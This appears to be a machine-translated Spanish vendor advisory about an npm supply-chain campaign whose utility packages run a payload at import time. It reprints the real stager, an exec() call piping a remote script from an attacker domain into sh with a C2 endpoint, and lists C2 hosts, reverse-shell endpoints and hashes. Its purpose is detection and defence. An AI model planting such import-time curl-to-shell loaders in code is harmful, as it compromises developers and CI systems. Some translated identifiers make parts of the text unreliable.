GhostTracker: El troyano npm cambió de nombre en 74 minutos; el mismo servidor C2.

GhostTracker: un troyano de npm que cambió de nombre a las pocas horas de ser desmantelado y mantuvo el mismo servidor C2.

TL; DR

Un único operador de npm publicó cinco paquetes troyanizados en dos rondas en tres días. Los paquetes se hacen pasar por pequeñas utilidades de color de terminal, registrador y cliente de Postgres. El código malicioso se ejecuta en el momento en que se importa el paquete — no hay ningún script de instalación que interceptar.

Ronda uno (neon-terminal, neon-postgres, ne-logger) fue despublicado el 05-07-2026 a las 14:14 UTC. Setenta y cuatro minutos después La misma cuenta volvió a publicar el mismo troyano con nuevos nombres (agn-terminal, agn-logger) — y lo apuntó hacia el mismo punto final de comando y control lo había usado antes: tracker.bvgroup.co.

Ese host C2 es el único indicador que sobrevive al cambio de nombre, y lo más rápido que un defensor puede buscar. Gravedad: highEcosistema: npmLos paquetes de la segunda ronda aún estaban disponibles al momento de redactar este informe.

El ataque: cómo funciona

Los paquetes son señuelos funcionales. Abrir terminal agn y encontrará una herramienta completa y funcional de ayuda para el color ANSI. los códigos de, admiteColor, colorear, PINTURA — con tipos y un archivo README. El código de utilidad funciona. En la parte superior del módulo de entrada, encima del código útil, hay unas pocas líneas que se ejecutan al importar.

// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process";  const child = exec(   "curl -fsSL https://remote.agyn.org/remote.sh | " +   "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",   {}, (error, stdout, stderr) => {}, ); 

Tres cosas hacen que esto sea efectivo.

  • Se activa al importar, no al instalar. El paquete declara que no preinstalación or postinstalación gancho: el lugar habitual donde miran los escáneres y los revisores. ejecutivo La llamada es código a nivel de módulo. Se ejecuta la primera vez que algo hace requerir(“agn-terminal”) or importar “agn-terminal”, en la máquina del desarrollador o dentro de CI. Tanto la entrada ESM (src / index.js) y la entrada CommonJS (cjs/src/index.js) transportan la misma carga útil, por lo que ambos sistemas de módulos están cubiertos.
  • La carga útil real se encuentra fuera del paquete. El paquete envía solo un stager de una línea: fetch `remote.agyn.org/remote.sh` y rediríjalo a sh`. Lo que el operador sirve desde esa URL en el momento de la solicitud es lo que se ejecuta. El punto final C2 se entrega al script descargado a través del PUNTO FINAL REMOTO DEL SEGUIMIENTO variable de entorno, por lo que el script de la segunda etapa llama a casa a rastreador.bvgroup.co.
  • Un paquete portador amplía el radio de la explosión. registrador de agn es un segundo señuelo: un “pequeño registrador global”. No tiene carga útil propia. Su módulo de entrada hace una cosa relevante:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); 

Declara terminal agn como dependencia y lo importa. Instalar o importar el registrador incorpora y activa el paquete terminal de forma transitiva. Un proyecto que nunca nombra directamente al troyano aún puede ejecutarlo a través del registrador.

¿Qué hay de nuevo aquí?

La primera ronda no utilizó un procesador remoto. Envió la carga útil en línea y la escaló versión por versión: una shell inversa bash en una versión, una red.Socket en la siguiente, una carcasa inversa git add/commit/ push del directorio de trabajo de la víctima en otro, y finalmente un agente de comando y control HTTP completo en terminal de neón 0.9.0 que registró el host, consultó las tareas y las ejecutó con exec ()y transmitió la salida codificada en base64. La segunda ronda colapsa todo eso en un solo rizo | sh, eliminando por completo la segunda fase del registro. El mismo operador, un paquete más discreto, una carga útil más flexible y, lo que es fundamental, el mismo C2 de antes.

Cronograma

Fecha (UTC) Eventos
2026-07-03 07:03 Primera ronda publicada: neon-terminal (0.1.0 limpio, luego 0.2.0–0.9.0 malicioso), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05 neon-terminal detectado en el escaneo en tiempo real
2026-07-04 Se confirma que es malicioso; se observa correlación entre los dos paquetes hermanos; se han presentado los primeros intentos de eliminación.
2026-07-05 14:14 Primera ronda inédita: las ocho neon-terminal versiones más hermanos eliminados
2026-07-05 15:28 agn-terminal 0.1.0 publicado
2026-07-05 15:29 agn-logger 0.1.0 publicado — transportista para el nuevo paquete terminal
05/07/2026 (en curso) Los paquetes de la segunda ronda están disponibles al momento de escribir este artículo.

Las dos rondas tienen lugar con tres días de diferencia, y el intervalo entre la eliminación y el relanzamiento fue de 74 minutos. La campaña está abierta: agn-* Los paquetes no se habían retirado cuando se escribió esto.

Indicadores de compromiso

Busque en los archivos de bloqueo y en los árboles de dependencia los nombres de los paquetes. Busque en el proxy, DNS y EDR Registros de los puntos finales de la red. El host C2 rastreador.bvgroup.co Abarca ambas rondas y es el indicador individual de mayor valor.

Paquetes

PREMIUM Source-Connect Rol Estado
neon-terminal 0.2.0–0.9.0 troyano (cargas útiles en línea → HTTP C2) inédito
neon-postgres 3.5.2 troyano (carga útil en src/errors.js) inédito
ne-logger 0.7.0 transportista (depende de neon-terminal) inédito
agn-terminal 0.1.0 troyano (curl | sh veterano) vivir
agn-logger 0.1.0 transportista (depende de agn-terminal) vivir

terminal de neón La versión 0.1.0 era una semilla limpia —una biblioteca de colores funcional sin carga útil— publicada para establecer el paquete antes de que aparecieran las versiones maliciosas.

Network

Indicador Contexto
tracker.bvgroup.co/remote/… HTTP C2, ambas rondas (token de la segunda ronda) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.sh cargador de primera etapa de la segunda ronda
reverse.bvgroup.co:443 Punto final de la primera ronda de la capa inversa (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754 primera ronda de caparazón inverso (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852 primera ronda de caparazón inverso (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.io dominios controlados por el operador

Salud Conductual

  • Nivel de módulo proceso_hijo.exec en la parte superior del archivo de entrada de un paquete de utilidades, en ambos src / index.js (ESM) y cjs/src/index.js (CJS).
  • A curl -fsSL … | sh una línea con el C2 pasado a través de un PUNTO FINAL REMOTO DEL SEGUIMIENTO Variable ambiental.
  • Un segundo paquete de "utilidades" que declara al primero como dependencia y lo importa, sin carga útil propia.
  • Una sobra // terminal neón comentario en la parte superior de terminal agn — un artefacto copiado y pegado que vincula el cambio de marca con el original.

Hashes de archivos (SHA-256, segunda ronda)

  • terminal agn src / index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • terminal agn cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • registrador de agn src / index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Atribución y comportamiento observado

Cada paquete se vincula a una cuenta de npm, vitalii-agyn, publicando bajo el correo electrónico no verificado vitalii@agyn.io. Los metadatos del registro de la propia cuenta enumeran los tres paquetes de la primera ronda como mantenidos por ella. La infraestructura vincula las rondas: el dominio agyn.org coincide con el editor agyn.io dominio de correo electrónico y el host C2 rastreador.bvgroup.co aparece en ambos terminal de neón 0.9.0 y terminal agn 0.1.0 — la misma ruta del recolector, reutilizada textualmente después del cambio de nombre.

Describimos lo que muestran los artefactos y ahí termina todo. El correo electrónico indicado por el editor es vitalii@agyn.ioNo hemos verificado la propiedad de esa dirección y no atribuimos la cuenta a ninguna persona o grupo en particular. La reutilización de un mismo punto final C2 en dos familias de paquetes es un claro indicio de que se trata del mismo operador, no una identificación.

Los paquetes de la primera ronda se basaron en la proximidad de la marca. neon-postgres era un clon completo del ampliamente utilizado Porsager postgres.js cliente, eslogan y todo, con la carga útil escondida en src/errors.js por lo que una ruta de importación rutinaria llegaría a él, y el neón- El prefijo toma prestada la reconocibilidad de Neon, el proveedor de Postgres sin servidor. Los nombres de la segunda ronda abandonaron la suplantación y se volvieron genéricos (terminal agn, registrador de agn), sacrificando el atractivo de la marca por una ruptura más limpia con los nombres quemados.

  • ¿Quién queda expuesto? Cualquier persona que instale e importe uno de estos paquetes, directamente o a través del operador, en un host tipo Unix. El stager utiliza rizo y sh; los proyectiles de la primera ronda utilizan golpear y /dev/tcpDado que la ejecución se produce al importar el código, basta con un servidor de compilación que instale la dependencia y ejecute cualquier código que la utilice; no se requiere ningún paso posterior a la instalación. En una estación de trabajo de desarrollador o en un ejecutor de integración continua, la segunda etapa descargada se ejecuta con los privilegios del usuario y con acceso completo a la red.
  • Por qué es importante la ejecución en tiempo de importación. Las defensas de la cadena de suministro se han concentrado en los scripts de instalación, y con razón: postinstall es el clásico punto de acceso de npm. Esta campaña lo evita por completo. No hay ningún gancho de instalación que detectar. código malicioso Se trata de una inicialización de módulo ordinaria, indistinguible a simple vista de un paquete que calcula una tabla de búsqueda al cargarse. Las herramientas que solo inspeccionan los scripts en package.json no detectan nada.
  • La tendencia de cambiar la marca y reutilizar. La clave está en el tiempo de respuesta de 74 minutos. Takedown eliminó los nombres, pero no al operador, la infraestructura ni el código. En menos de una hora, la campaña volvió a estar activa con nombres nuevos que apuntaban al mismo servidor C2. El bloqueo basado en nombres (incluir neon-terminal en la lista negra) ya habría quedado obsoleto. El bloqueo basado en infraestructura (incluir bvgroup.co en la lista negra) habría detectado la segunda ronda al instante. Para un operador activo que republica más rápido de lo que los registros eliminan el código, el indicador más fiable es el punto final de la red, no el nombre del paquete.

¿Qué hacer ahora

  • Busque en los archivos de bloqueo y en los árboles de instalación los cinco nombres de paquete mencionados anteriormente. Considere cualquier coincidencia como un host comprometido y cambie las credenciales accesibles desde él.
  • Bloquear y alertar sobre los dominios bvgroup.co, agyn.orgy los puntos finales de ngrok en DNS y filtrado de salida. rastreador.bvgroup.co es la prioridad.
  • No confíe únicamente en el escaneo de ganchos de instalación. Agregue detección a nivel de módulo. proceso_niño y llamadas de red en dependencias, y para rizo … | sh patrones en el código fuente del paquete.
  • Un paquete de utilidades que declara otra utilidad poco conocida como su única dependencia y la importa al cargarse, merece una segunda mirada.
  • En CI, prefiero –ignorar-scripts donde sea práctico, pero entienda que aquí no ayuda: la carga útil se ejecuta al importarla, por lo que los controles de salida en tiempo de ejecución y la revisión de dependencias son más importantes.

Referencias

sca-tools-software-herramientas-de-analisis-de-composicion
Priorice, solucione y proteja sus riesgos de software
Obtén tu cuenta gratuita.
Sin tarjeta de crédito.

Asegure el desarrollo y entrega de software

con la suite de productos Xygeni